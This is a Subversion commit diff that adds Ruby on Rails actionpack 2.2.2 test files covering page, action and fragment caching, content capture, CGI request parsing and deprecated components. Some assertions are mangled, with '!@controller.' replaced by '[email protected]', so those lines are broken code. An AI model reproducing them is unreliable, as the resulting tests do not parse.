+      end
+    end
+  end
+
+  def test_page_caching_conditional_options
+    get :ok, :format=>'json'
+    assert_page_not_cached :ok
+  end
+
+  private
+    def assert_page_cached(action, message = "#{action} should have been cached")
+      assert page_cached?(action), message
+    end
+
+    def assert_page_not_cached(action, message = "#{action} shouldn't have been cached")
+      assert !page_cached?(action), message
+    end
+
+    def page_cached?(action)
+      File.exist? "#{FILE_STORE_PATH}/page_caching_test/#{action}.html"
+    end
+end
+
+class ActionCachingTestController < ActionController::Base
+  caches_action :index, :redirected, :forbidden, :if => Proc.new { |c| !c.request.format.json? }, :expires_in => 1.hour
+  caches_action :show, :cache_path => 'http://test.host/custom/show'
+  caches_action :edit, :cache_path => Proc.new { |c| c.params[:id] ? "http://test.host/#{c.params[:id]};edit" : "http://test.host/edit" }
+  caches_action :with_layout
+  caches_action :layout_false, :layout => false
+
+  layout 'talk_from_action.erb'
+
+  def index
+    @cache_this = MockTime.now.to_f.to_s
+    render :text => @cache_this
+  end
+
+  def redirected
+    redirect_to :action => 'index'
+  end
+
+  def forbidden
+    render :text => "Forbidden"
+    headers["Status"] = "403 Forbidden"
+  end
+
+  def with_layout
+    @cache_this = MockTime.now.to_f.to_s
+    render :text => @cache_this, :layout => true
+  end
+
+  alias_method :show, :index
+  alias_method :edit, :index
+  alias_method :destroy, :index
+  alias_method :layout_false, :with_layout
+
+  def expire
+    expire_action :controller => 'action_caching_test', :action => 'index'
+    render :nothing => true
+  end
+
+  def expire_xml
+    expire_action :controller => 'action_caching_test', :action => 'index', :format => 'xml'
+    render :nothing => true
+  end
+end
+
+class MockTime < Time
+  # Let Time spicy to assure that Time.now != Time.now
+  def to_f
+    super+rand
+  end
+end
+
+class ActionCachingMockController
+  attr_accessor :mock_url_for
+  attr_accessor :mock_path
+
+  def initialize
+    yield self if block_given?
+  end
+
+  def url_for(*args)
+    @mock_url_for
+  end
+
+  def request
+    mocked_path = @mock_path
+    Object.new.instance_eval(<<-EVAL)
+      def path; '#{@mock_path}' end
+      def format; 'all' end
+      def cache_format; nil end
+      self
+    EVAL
+  end
+end
+
+class ActionCacheTest < Test::Unit::TestCase
+  def setup
+    reset!
+    FileUtils.mkdir_p(FILE_STORE_PATH)
+    @path_class = ActionController::Caching::Actions::ActionCachePath
+    @mock_controller = ActionCachingMockController.new
+  end
+
+  def teardown
+    FileUtils.rm_rf(File.dirname(FILE_STORE_PATH))
+  end
+
+  def test_simple_action_cache
+    get :index
+    cached_time = content_to_cache
+    assert_equal cached_time, @response.body
+    assert fragment_exist?('hostname.com/action_caching_test')
+    reset!
+
+    get :index
+    assert_equal cached_time, @response.body
+  end
+
+  def test_simple_action_not_cached
+    get :destroy
+    cached_time = content_to_cache
+    assert_equal cached_time, @response.body
+    assert !fragment_exist?('hostname.com/action_caching_test/destroy')
+    reset!
+
+    get :destroy
+    assert_not_equal cached_time, @response.body
+  end
+
+  def test_action_cache_with_layout
+    get :with_layout
+    cached_time = content_to_cache
+    assert_not_equal cached_time, @response.body
+    assert fragment_exist?('hostname.com/action_caching_test/with_layout')
+    reset!
+
+    get :with_layout
+    assert_not_equal cached_time, @response.body
+
+    assert_equal @response.body, read_fragment('hostname.com/action_caching_test/with_layout')
+  end
+
+  def test_action_cache_with_layout_and_layout_cache_false
+    get :layout_false
+    cached_time = content_to_cache
+    assert_not_equal cached_time, @response.body
+    assert fragment_exist?('hostname.com/action_caching_test/layout_false')
+    reset!
+
+    get :layout_false
+    assert_not_equal cached_time, @response.body
+
+    assert_equal cached_time, read_fragment('hostname.com/action_caching_test/layout_false')
+  end
+
+  def test_action_cache_conditional_options
+    old_use_accept_header = ActionController::Base.use_accept_header
+    ActionController::Base.use_accept_header = true
+    @request.env['HTTP_ACCEPT'] = 'application/json'
+    get :index
+    assert !fragment_exist?('hostname.com/action_caching_test')
+    ActionController::Base.use_accept_header = old_use_accept_header
+  end
+
+  uses_mocha 'test action cache' do
+    def test_action_cache_with_store_options
+      MockTime.expects(:now).returns(12345).once
+      @controller.expects(:read_fragment).with('hostname.com/action_caching_test', :expires_in => 1.hour).once
+      @controller.expects(:write_fragment).with('hostname.com/action_caching_test', '12345.0', :expires_in => 1.hour).once
+      get :index
+    end
+  end
+
+  def test_action_cache_with_custom_cache_path
+    get :show
+    cached_time = content_to_cache
+    assert_equal cached_time, @response.body
+    assert fragment_exist?('test.host/custom/show')
+    reset!
+
+    get :show
+    assert_equal cached_time, @response.body
+  end
+
+  def test_action_cache_with_custom_cache_path_in_block
+    get :edit
+    assert fragment_exist?('test.host/edit')
+    reset!
+
+    get :edit, :id => 1
+    assert fragment_exist?('test.host/1;edit')
+  end
+
+  def test_cache_expiration
+    get :index
+    cached_time = content_to_cache
+    reset!
+
+    get :index
+    assert_equal cached_time, @response.body
+    reset!
+
+    get :expire
+    reset!
+
+    get :index
+    new_cached_time = content_to_cache
+    assert_not_equal cached_time, @response.body
+    reset!
+
+    get :index
+    assert_response :success
+    assert_equal new_cached_time, @response.body
+  end
+
+  def test_cache_expiration_isnt_affected_by_request_format
+    get :index
+    cached_time = content_to_cache
+    reset!
+
+    @request.set_REQUEST_URI "/action_caching_test/expire.xml"
+    get :expire, :format => :xml
+    reset!
+
+    get :index
+    new_cached_time = content_to_cache
+    assert_not_equal cached_time, @response.body
+  end
+
+  def test_cache_is_scoped_by_subdomain
+    @request.host = 'jamis.hostname.com'
+    get :index
+    jamis_cache = content_to_cache
+
+    reset!
+
+    @request.host = 'david.hostname.com'
+    get :index
+    david_cache = content_to_cache
+    assert_not_equal jamis_cache, @response.body
+
+    reset!
+
+    @request.host = 'jamis.hostname.com'
+    get :index
+    assert_equal jamis_cache, @response.body
+
+    reset!
+
+    @request.host = 'david.hostname.com'
+    get :index
+    assert_equal david_cache, @response.body
+  end
+
+  def test_redirect_is_not_cached
+    get :redirected
+    assert_response :redirect
+    reset!
+
+    get :redirected
+    assert_response :redirect
+  end
+
+  def test_forbidden_is_not_cached
+    get :forbidden
+    assert_response :forbidden
+    reset!
+
+    get :forbidden
+    assert_response :forbidden
+  end
+
+  def test_xml_version_of_resource_is_treated_as_different_cache
+    with_routing do |set|
+      ActionController::Routing::Routes.draw do |map|
+        map.connect ':controller/:action.:format'
+        map.connect ':controller/:action'
+      end
+
+      get :index, :format => 'xml'
+      cached_time = content_to_cache
+      assert_equal cached_time, @response.body
+      assert fragment_exist?('hostname.com/action_caching_test/index.xml')
+      reset!
+
+      get :index, :format => 'xml'
+      assert_equal cached_time, @response.body
+      assert_equal 'application/xml', @response.content_type
+      reset!
+
+      get :expire_xml
+      reset!
+
+      get :index, :format => 'xml'
+      assert_not_equal cached_time, @response.body
+    end
+  end
+
+  def test_correct_content_type_is_returned_for_cache_hit
+    # run it twice to cache it the first time
+    get :index, :id => 'content-type.xml'
+    get :index, :id => 'content-type.xml'
+    assert_equal 'application/xml', @response.content_type
+  end
+
+  def test_empty_path_is_normalized
+    @mock_controller.mock_url_for = 'http://example.org/'
+    @mock_controller.mock_path    = '/'
+
+    assert_equal 'example.org/index', @path_class.path_for(@mock_controller, {})
+  end
+
+  def test_file_extensions
+    get :index, :id => 'kitten.jpg'
+    get :index, :id => 'kitten.jpg'
+
+    assert_response :success
+  end
+
+  private
+    def content_to_cache
+      assigns(:cache_this)
+    end
+
+    def reset!
+      @request    = ActionController::TestRequest.new
+      @response   = ActionController::TestResponse.new
+      @controller = ActionCachingTestController.new
+      @request.host = 'hostname.com'
+    end
+
+    def fragment_exist?(path)
+      @controller.fragment_exist?(path)
+    end
+
+    def read_fragment(path)
+      @controller.read_fragment(path)
+    end
+end
+
+class FragmentCachingTestController < ActionController::Base
+  def some_action; end;
+end
+
+class FragmentCachingTest < Test::Unit::TestCase
+  def setup
+    ActionController::Base.perform_caching = true
+    @store = ActiveSupport::Cache::MemoryStore.new
+    ActionController::Base.cache_store = @store
+    @controller = FragmentCachingTestController.new
+    @params = {:controller => 'posts', :action => 'index'}
+    @request = ActionController::TestRequest.new
+    @response = ActionController::TestResponse.new
+    @controller.params = @params
+    @controller.request = @request
+    @controller.response = @response
+    @controller.send(:initialize_current_url)
+    @controller.send(:initialize_template_class, @response)
+    @controller.send(:assign_shortcuts, @request, @response)
+  end
+
+  def test_fragment_cache_key
+    assert_equal 'views/what a key', @controller.fragment_cache_key('what a key')
+    assert_equal "views/test.host/fragment_caching_test/some_action",
+                  @controller.fragment_cache_key(:controller => 'fragment_caching_test',:action => 'some_action')
+  end
+
+  def test_read_fragment_with_caching_enabled
+    @store.write('views/name', 'value')
+    assert_equal 'value', @controller.read_fragment('name')
+  end
+
+  def test_read_fragment_with_caching_disabled
+    ActionController::Base.perform_caching = false
+    @store.write('views/name', 'value')
+    assert_nil @controller.read_fragment('name')
+  end
+
+  def test_fragment_exist_with_caching_enabled
+    @store.write('views/name', 'value')
+    assert @controller.fragment_exist?('name')
+    assert [email protected]_exist?('other_name')
+  end
+
+  def test_fragment_exist_with_caching_disabled
+    ActionController::Base.perform_caching = false
+    @store.write('views/name', 'value')
+    assert [email protected]_exist?('name')
+    assert [email protected]_exist?('other_name')
+  end
+
+  def test_write_fragment_with_caching_enabled
+    assert_nil @store.read('views/name')
+    assert_equal 'value', @controller.write_fragment('name', 'value')
+    assert_equal 'value', @store.read('views/name')
+  end
+
+  def test_write_fragment_with_caching_disabled
+    assert_nil @store.read('views/name')
+    ActionController::Base.perform_caching = false
+    assert_equal nil, @controller.write_fragment('name', 'value')
+    assert_nil @store.read('views/name')
+  end
+
+  def test_expire_fragment_with_simple_key
+    @store.write('views/name', 'value')
+    @controller.expire_fragment 'name'
+    assert_nil @store.read('views/name')
+  end
+
+  def test_expire_fragment_with_regexp
+    @store.write('views/name', 'value')
+    @store.write('views/another_name', 'another_value')
+    @store.write('views/primalgrasp', 'will not expire ;-)')
+
+    @controller.expire_fragment /name/
+
+    assert_nil @store.read('views/name')
+    assert_nil @store.read('views/another_name')
+    assert_equal 'will not expire ;-)', @store.read('views/primalgrasp')
+  end
+
+  def test_fragment_for_with_disabled_caching
+    ActionController::Base.perform_caching = false
+
+    @store.write('views/expensive', 'fragment content')
+    fragment_computed = false
+
+    buffer = 'generated till now -> '
+    @controller.fragment_for(buffer, 'expensive') { fragment_computed = true }
+
+    assert fragment_computed
+    assert_equal 'generated till now -> ', buffer
+  end
+
+  def test_fragment_for
+    @store.write('views/expensive', 'fragment content')
+    fragment_computed = false
+
+    buffer = 'generated till now -> '
+    @controller.fragment_for(buffer, 'expensive') { fragment_computed = true }
+
+    assert !fragment_computed
+    assert_equal 'generated till now -> fragment content', buffer
+  end
+end
+
+class FunctionalCachingController < ActionController::Base
+  def fragment_cached
+  end
+
+  def html_fragment_cached_with_partial
+    respond_to do |format|
+      format.html
+    end
+  end
+
+  def js_fragment_cached_with_partial
+    respond_to do |format|
+      format.js
+    end
+  end
+
+  def formatted_fragment_cached
+    respond_to do |format|
+      format.html
+      format.xml
+      format.js
+    end
+  end
+
+  def rescue_action(e)
+    raise e
+  end
+end
+
+class FunctionalFragmentCachingTest < Test::Unit::TestCase
+  def setup
+    ActionController::Base.perform_caching = true
+    @store = ActiveSupport::Cache::MemoryStore.new
+    ActionController::Base.cache_store = @store
+    @controller = FunctionalCachingController.new
+    @request = ActionController::TestRequest.new
+    @response = ActionController::TestResponse.new
+  end
+
+  def test_fragment_caching
+    get :fragment_cached
+    assert_response :success
+    expected_body = <<-CACHED
+Hello
+This bit's fragment cached
+CACHED
+    assert_equal expected_body, @response.body
+
+    assert_equal "This bit's fragment cached", @store.read('views/test.host/functional_caching/fragment_cached')
+  end
+
+  def test_fragment_caching_in_partials
+    get :html_fragment_cached_with_partial
+    assert_response :success
+    assert_match /Fragment caching in a partial/, @response.body
+    assert_match "Fragment caching in a partial", @store.read('views/test.host/functional_caching/html_fragment_cached_with_partial')
+  end
+
+  def test_render_inline_before_fragment_caching
+    get :inline_fragment_cached
+    assert_response :success
+    assert_match /Some inline content/, @response.body
+    assert_match /Some cached content/, @response.body
+    assert_match "Some cached content", @store.read('views/test.host/functional_caching/inline_fragment_cached')
+  end
+
+  def test_fragment_caching_in_rjs_partials
+    xhr :get, :js_fragment_cached_with_partial
+    assert_response :success
+    assert_match /Fragment caching in a partial/, @response.body
+    assert_match "Fragment caching in a partial", @store.read('views/test.host/functional_caching/js_fragment_cached_with_partial')
+  end
+
+  def test_html_formatted_fragment_caching
+    get :formatted_fragment_cached, :format => "html"
+    assert_response :success
+    expected_body = "<body>\n<p>ERB</p>\n</body>"
+
+    assert_equal expected_body, @response.body
+
+    assert_equal "<p>ERB</p>", @store.read('views/test.host/functional_caching/formatted_fragment_cached')
+  end
+
+  def test_xml_formatted_fragment_caching
+    get :formatted_fragment_cached, :format => "xml"
+    assert_response :success
+    expected_body = "<body>\n  <p>Builder</p>\n</body>\n"
+
+    assert_equal expected_body, @response.body
+
+    assert_equal "  <p>Builder</p>\n", @store.read('views/test.host/functional_caching/formatted_fragment_cached')
+  end
+
+  def test_js_formatted_fragment_caching
+    get :formatted_fragment_cached, :format => "js"
+    assert_response :success
+    expected_body = %(title = "Hey";\n$("element_1").visualEffect("highlight");\n) +
+      %($("element_2").visualEffect("highlight");\nfooter = "Bye";)
+    assert_equal expected_body, @response.body
+
+    assert_equal ['$("element_1").visualEffect("highlight");', '$("element_2").visualEffect("highlight");'],
+      @store.read('views/test.host/functional_caching/formatted_fragment_cached')
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/capture_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/capture_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/capture_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,69 @@
+require 'abstract_unit'
+
+class CaptureController < ActionController::Base
+  def self.controller_name; "test"; end
+  def self.controller_path; "test"; end
+
+  def content_for
+    render :layout => "talk_from_action"
+  end
+
+  def content_for_with_parameter
+    render :layout => "talk_from_action"
+  end
+
+  def content_for_concatenated
+    render :layout => "talk_from_action"
+  end
+
+  def non_erb_block_content_for
+    render :layout => "talk_from_action"
+  end
+
+  def rescue_action(e) raise end
+end
+
+class CaptureTest < Test::Unit::TestCase
+  def setup
+    @controller = CaptureController.new
+
+    # enable a logger so that (e.g.) the benchmarking stuff runs, so we can get
+    # a more accurate simulation of what happens in "real life".
+    @controller.logger = Logger.new(nil)
+
+    @request    = ActionController::TestRequest.new
+    @response   = ActionController::TestResponse.new
+
+    @request.host = "www.nextangle.com"
+  end
+
+  def test_simple_capture
+    get :capturing
+    assert_equal "Dreamy days", @response.body.strip
+  end
+
+  def test_content_for
+    get :content_for
+    assert_equal expected_content_for_output, @response.body
+  end
+
+  def test_should_concatentate_content_for
+    get :content_for_concatenated
+    assert_equal expected_content_for_output, @response.body
+  end
+
+  def test_should_set_content_for_with_parameter
+    get :content_for_with_parameter
+    assert_equal expected_content_for_output, @response.body
+  end
+
+  def test_non_erb_block_content_for
+    get :non_erb_block_content_for
+    assert_equal expected_content_for_output, @response.body
+  end
+
+  private
+    def expected_content_for_output
+      "<title>Putting stuff in the title!</title>\n\nGreat stuff!"
+    end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/cgi_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/cgi_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/cgi_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,263 @@
+require 'abstract_unit'
+require 'action_controller/cgi_process'
+
+class BaseCgiTest < Test::Unit::TestCase
+  def setup
+    @request_hash = {
+      "HTTP_MAX_FORWARDS" => "10",
+      "SERVER_NAME" => "glu.ttono.us:8007",
+      "FCGI_ROLE" => "RESPONDER",
+      "AUTH_TYPE" => "Basic",
+      "HTTP_X_FORWARDED_HOST" => "glu.ttono.us",
+      "HTTP_ACCEPT_CHARSET" => "UTF-8",
+      "HTTP_ACCEPT_ENCODING" => "gzip, deflate",
+      "HTTP_CACHE_CONTROL" => "no-cache, max-age=0",
+      "HTTP_PRAGMA" => "no-cache",
+      "HTTP_USER_AGENT" => "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)",
+      "PATH_INFO" => "/homepage/",
+      "HTTP_ACCEPT_LANGUAGE" => "en",
+      "HTTP_NEGOTIATE" => "trans",
+      "HTTP_HOST" => "glu.ttono.us:8007",
+      "HTTP_REFERER" => "http://www.google.com/search?q=glu.ttono.us",
+      "HTTP_FROM" => "googlebot",
+      "SERVER_PROTOCOL" => "HTTP/1.1",
+      "REDIRECT_URI" => "/dispatch.fcgi",
+      "SCRIPT_NAME" => "/dispatch.fcgi",
+      "SERVER_ADDR" => "207.7.108.53",
+      "REMOTE_ADDR" => "207.7.108.53",
+      "REMOTE_HOST" => "google.com",
+      "REMOTE_IDENT" => "kevin",
+      "REMOTE_USER" => "kevin",
+      "SERVER_SOFTWARE" => "lighttpd/1.4.5",
+      "HTTP_COOKIE" => "_session_id=c84ace84796670c052c6ceb2451fb0f2; is_admin=yes",
+      "HTTP_X_FORWARDED_SERVER" => "glu.ttono.us",
+      "REQUEST_URI" => "/admin",
+      "DOCUMENT_ROOT" => "/home/kevinc/sites/typo/public",
+      "PATH_TRANSLATED" => "/home/kevinc/sites/typo/public/homepage/",
+      "SERVER_PORT" => "8007",
+      "QUERY_STRING" => "",
+      "REMOTE_PORT" => "63137",
+      "GATEWAY_INTERFACE" => "CGI/1.1",
+      "HTTP_X_FORWARDED_FOR" => "65.88.180.234",
+      "HTTP_ACCEPT" => "*/*",
+      "SCRIPT_FILENAME" => "/home/kevinc/sites/typo/public/dispatch.fcgi",
+      "REDIRECT_STATUS" => "200",
+      "REQUEST_METHOD" => "GET"
+    }
+    # some Nokia phone browsers omit the space after the semicolon separator.
+    # some developers have grown accustomed to using comma in cookie values.
+    @alt_cookie_fmt_request_hash = {"HTTP_COOKIE"=>"_session_id=c84ace847,96670c052c6ceb2451fb0f2;is_admin=yes"}
+    @cgi = CGI.new
+    class << @cgi; attr_accessor :env_table end
+    @cgi.env_table = @request_hash
+    @request = ActionController::CgiRequest.new(@cgi)
+  end
+
+  def default_test; end
+
+  private
+
+  def set_content_data(data)
+    @request.env['REQUEST_METHOD'] = 'POST'
+    @request.env['CONTENT_LENGTH'] = data.length
+    @request.env['CONTENT_TYPE'] = 'application/x-www-form-urlencoded; charset=utf-8'
+    @request.env['RAW_POST_DATA'] = data
+  end
+end
+
+class CgiRequestTest < BaseCgiTest
+  def test_proxy_request
+    assert_equal 'glu.ttono.us', @request.host_with_port
+  end
+
+  def test_http_host
+    @request_hash.delete "HTTP_X_FORWARDED_HOST"
+    @request_hash['HTTP_HOST'] = "rubyonrails.org:8080"
+    assert_equal "rubyonrails.org:8080", @request.host_with_port
+
+    @request_hash['HTTP_X_FORWARDED_HOST'] = "www.firsthost.org, www.secondhost.org"
+    assert_equal "www.secondhost.org", @request.host(true)
+  end
+
+  def test_http_host_with_default_port_overrides_server_port
+    @request_hash.delete "HTTP_X_FORWARDED_HOST"
+    @request_hash['HTTP_HOST'] = "rubyonrails.org"
+    assert_equal "rubyonrails.org", @request.host_with_port
+  end
+
+  def test_host_with_port_defaults_to_server_name_if_no_host_headers
+    @request_hash.delete "HTTP_X_FORWARDED_HOST"
+    @request_hash.delete "HTTP_HOST"
+    assert_equal "glu.ttono.us:8007", @request.host_with_port
+  end
+
+  def test_host_with_port_falls_back_to_server_addr_if_necessary
+    @request_hash.delete "HTTP_X_FORWARDED_HOST"
+    @request_hash.delete "HTTP_HOST"
+    @request_hash.delete "SERVER_NAME"
+    assert_equal "207.7.108.53:8007", @request.host_with_port
+  end
+
+  def test_host_with_port_if_http_standard_port_is_specified
+    @request_hash['HTTP_X_FORWARDED_HOST'] = "glu.ttono.us:80"
+    assert_equal "glu.ttono.us", @request.host_with_port
+  end
+
+  def test_host_with_port_if_https_standard_port_is_specified
+    @request_hash['HTTP_X_FORWARDED_PROTO'] = "https"
+    @request_hash['HTTP_X_FORWARDED_HOST'] = "glu.ttono.us:443"
+    assert_equal "glu.ttono.us", @request.host_with_port
+  end
+
+  def test_host_if_ipv6_reference
+    @request_hash.delete "HTTP_X_FORWARDED_HOST"
+    @request_hash['HTTP_HOST'] = "[2001:1234:5678:9abc:def0::dead:beef]"
+    assert_equal "[2001:1234:5678:9abc:def0::dead:beef]", @request.host
+  end
+
+  def test_host_if_ipv6_reference_with_port
+    @request_hash.delete "HTTP_X_FORWARDED_HOST"
+    @request_hash['HTTP_HOST'] = "[2001:1234:5678:9abc:def0::dead:beef]:8008"
+    assert_equal "[2001:1234:5678:9abc:def0::dead:beef]", @request.host
+  end
+
+  def test_cgi_environment_variables
+    assert_equal "Basic", @request.auth_type
+    assert_equal 0, @request.content_length
+    assert_equal nil, @request.content_type
+    assert_equal "CGI/1.1", @request.gateway_interface
+    assert_equal "*/*", @request.accept
+    assert_equal "UTF-8", @request.accept_charset
+    assert_equal "gzip, deflate", @request.accept_encoding
+    assert_equal "en", @request.accept_language
+    assert_equal "no-cache, max-age=0", @request.cache_control
+    assert_equal "googlebot", @request.from
+    assert_equal "glu.ttono.us", @request.host
+    assert_equal "trans", @request.negotiate
+    assert_equal "no-cache", @request.pragma
+    assert_equal "http://www.google.com/search?q=glu.ttono.us", @request.referer
+    assert_equal "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)", @request.user_agent
+    assert_equal "/homepage/", @request.path_info
+    assert_equal "/home/kevinc/sites/typo/public/homepage/", @request.path_translated
+    assert_equal "", @request.query_string
+    assert_equal "207.7.108.53", @request.remote_addr
+    assert_equal "google.com", @request.remote_host
+    assert_equal "kevin", @request.remote_ident
+    assert_equal "kevin", @request.remote_user
+    assert_equal :get, @request.request_method
+    assert_equal "/dispatch.fcgi", @request.script_name
+    assert_equal "glu.ttono.us:8007", @request.server_name
+    assert_equal 8007, @request.server_port
+    assert_equal "HTTP/1.1", @request.server_protocol
+    assert_equal "lighttpd", @request.server_software
+  end
+
+  def test_cookie_syntax_resilience
+    cookies = CGI::Cookie::parse(@request_hash["HTTP_COOKIE"]);
+    assert_equal ["c84ace84796670c052c6ceb2451fb0f2"], cookies["_session_id"], cookies.inspect
+    assert_equal ["yes"], cookies["is_admin"], cookies.inspect
+
+    alt_cookies = CGI::Cookie::parse(@alt_cookie_fmt_request_hash["HTTP_COOKIE"]);
+    assert_equal ["c84ace847,96670c052c6ceb2451fb0f2"], alt_cookies["_session_id"], alt_cookies.inspect
+    assert_equal ["yes"], alt_cookies["is_admin"], alt_cookies.inspect
+  end
+end
+
+class CgiRequestParamsParsingTest < BaseCgiTest
+  def test_doesnt_break_when_content_type_has_charset
+    set_content_data 'flamenco=love'
+
+    assert_equal({"flamenco"=> "love"}, @request.request_parameters)
+  end
+
+  def test_doesnt_interpret_request_uri_as_query_string_when_missing
+    @request.env['REQUEST_URI'] = 'foo'
+    assert_equal({}, @request.query_parameters)
+  end
+end
+
+class CgiRequestContentTypeTest < BaseCgiTest
+  def test_html_content_type_verification
+    @request.env['CONTENT_TYPE'] = Mime::HTML.to_s
+    assert @request.content_type.verify_request?
+  end
+
+  def test_xml_content_type_verification
+    @request.env['CONTENT_TYPE'] = Mime::XML.to_s
+    assert [email protected]_type.verify_request?
+  end
+end
+
+class CgiRequestMethodTest < BaseCgiTest
+  def test_get
+    assert_equal :get, @request.request_method
+  end
+
+  def test_post
+    @request.env['REQUEST_METHOD'] = 'POST'
+    assert_equal :post, @request.request_method
+  end
+
+  def test_put
+    set_content_data '_method=put'
+
+    assert_equal :put, @request.request_method
+  end
+
+  def test_delete
+    set_content_data '_method=delete'
+
+    assert_equal :delete, @request.request_method
+  end
+end
+
+class CgiRequestNeedsRewoundTest < BaseCgiTest
+  def test_body_should_be_rewound
+    data = 'foo'
+    fake_cgi = Struct.new(:env_table, :query_string, :stdinput).new(@request_hash, '', StringIO.new(data))
+    fake_cgi.env_table['CONTENT_LENGTH'] = data.length
+    fake_cgi.env_table['CONTENT_TYPE'] = 'application/x-www-form-urlencoded; charset=utf-8'
+
+    # Read the request body by parsing params.
+    request = ActionController::CgiRequest.new(fake_cgi)
+    request.request_parameters
+
+    # Should have rewound the body.
+    assert_equal 0, request.body.pos
+  end
+end
+
+uses_mocha 'CGI Response' do
+  class CgiResponseTest < BaseCgiTest
+    def setup
+      super
+      @cgi.expects(:header).returns("HTTP/1.0 200 OK\nContent-Type: text/html\n")
+      @response = ActionController::CgiResponse.new(@cgi)
+      @output = StringIO.new('')
+    end
+
+    def test_simple_output
+      @response.body = "Hello, World!"
+
+      @response.out(@output)
+      assert_equal "HTTP/1.0 200 OK\nContent-Type: text/html\nHello, World!", @output.string
+    end
+
+    def test_head_request
+      @cgi.env_table['REQUEST_METHOD'] = 'HEAD'
+      @response.body = "Hello, World!"
+
+      @response.out(@output)
+      assert_equal "HTTP/1.0 200 OK\nContent-Type: text/html\n", @output.string
+    end
+
+    def test_streaming_block
+      @response.body = Proc.new do |response, output|
+        5.times { |n| output.write(n) }
+      end
+
+      @response.out(@output)
+      assert_equal "HTTP/1.0 200 OK\nContent-Type: text/html\n01234", @output.string
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/components_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/components_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/components_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,156 @@
+require 'abstract_unit'
+
+class CallerController < ActionController::Base
+  def calling_from_controller
+    render_component(:controller => "callee", :action => "being_called")
+  end
+
+  def calling_from_controller_with_params
+    render_component(:controller => "callee", :action => "being_called", :params => { "name" => "David" })
+  end
+
+  def calling_from_controller_with_different_status_code
+    render_component(:controller => "callee", :action => "blowing_up")
+  end
+
+  def calling_from_template
+    render :inline => "Ring, ring: <%= render_component(:controller => 'callee', :action => 'being_called') %>"
+  end
+
+  def internal_caller
+    render :inline => "Are you there? <%= render_component(:action => 'internal_callee') %>"
+  end
+
+  def internal_callee
+    render :text => "Yes, ma'am"
+  end
+
+  def set_flash
+    render_component(:controller => "callee", :action => "set_flash")
+  end
+
+  def use_flash
+    render_component(:controller => "callee", :action => "use_flash")
+  end
+
+  def calling_redirected
+    render_component(:controller => "callee", :action => "redirected")
+  end
+
+  def calling_redirected_as_string
+    render :inline => "<%= render_component(:controller => 'callee', :action => 'redirected') %>"
+  end
+
+  def rescue_action(e) raise end
+end
+
+class CalleeController < ActionController::Base
+  def being_called
+    render :text => "#{params[:name] || "Lady"} of the House, speaking"
+  end
+
+  def blowing_up
+    render :text => "It's game over, man, just game over, man!", :status => 500
+  end
+
+  def set_flash
+    flash[:notice] = 'My stoney baby'
+    render :text => 'flash is set'
+  end
+
+  def use_flash
+    render :text => flash[:notice] || 'no flash'
+  end
+
+  def redirected
+    redirect_to :controller => "callee", :action => "being_called"
+  end
+
+  def rescue_action(e) raise end
+end
+
+class ComponentsTest < Test::Unit::TestCase
+  def setup
+    @controller = CallerController.new
+    @request    = ActionController::TestRequest.new
+    @response   = ActionController::TestResponse.new
+  end
+
+  def test_calling_from_controller
+    assert_deprecated do
+      get :calling_from_controller
+      assert_equal "Lady of the House, speaking", @response.body
+    end
+  end
+
+  def test_calling_from_controller_with_params
+    assert_deprecated do
+      get :calling_from_controller_with_params
+      assert_equal "David of the House, speaking", @response.body
+    end
+  end
+
+  def test_calling_from_controller_with_different_status_code
+    assert_deprecated do
+      get :calling_from_controller_with_different_status_code
+      assert_equal 500, @response.response_code
+    end
+  end
+
+  def test_calling_from_template
+    assert_deprecated do
+      get :calling_from_template
+      assert_equal "Ring, ring: Lady of the House, speaking", @response.body
+    end
+  end
+
+  def test_etag_is_set_for_parent_template_when_calling_from_template
+    assert_deprecated do
+      get :calling_from_template
+      expected_etag = etag_for("Ring, ring: Lady of the House, speaking")
+      assert_equal expected_etag, @response.headers['ETag']
+    end
+  end
+
+  def test_internal_calling
+    assert_deprecated do
+      get :internal_caller
+      assert_equal "Are you there? Yes, ma'am", @response.body
+    end
+  end
+
+  def test_flash
+    assert_deprecated do
+      get :set_flash
+      assert_equal 'My stoney baby', flash[:notice]
+      get :use_flash
+      assert_equal 'My stoney baby', @response.body
+      get :use_flash
+      assert_equal 'no flash', @response.body
+    end
+  end
+
+  def test_component_redirect_redirects
+    assert_deprecated do
+      get :calling_redirected
+      assert_redirected_to :controller=>"callee", :action => "being_called"
+    end
+  end
+
+  def test_component_multiple_redirect_redirects
+    test_component_redirect_redirects
+    test_internal_calling
+  end
+
+  def test_component_as_string_redirect_renders_redirected_action
+    assert_deprecated do
+      get :calling_redirected_as_string
+      assert_equal "Lady of the House, speaking", @response.body
+    end
+  end
+
+  protected
+    def etag_for(text)
+      %("#{Digest::MD5.hexdigest(text)}")
+    end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/content_type_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/content_type_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/content_type_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,171 @@
+require 'abstract_unit'
+
+class ContentTypeController < ActionController::Base
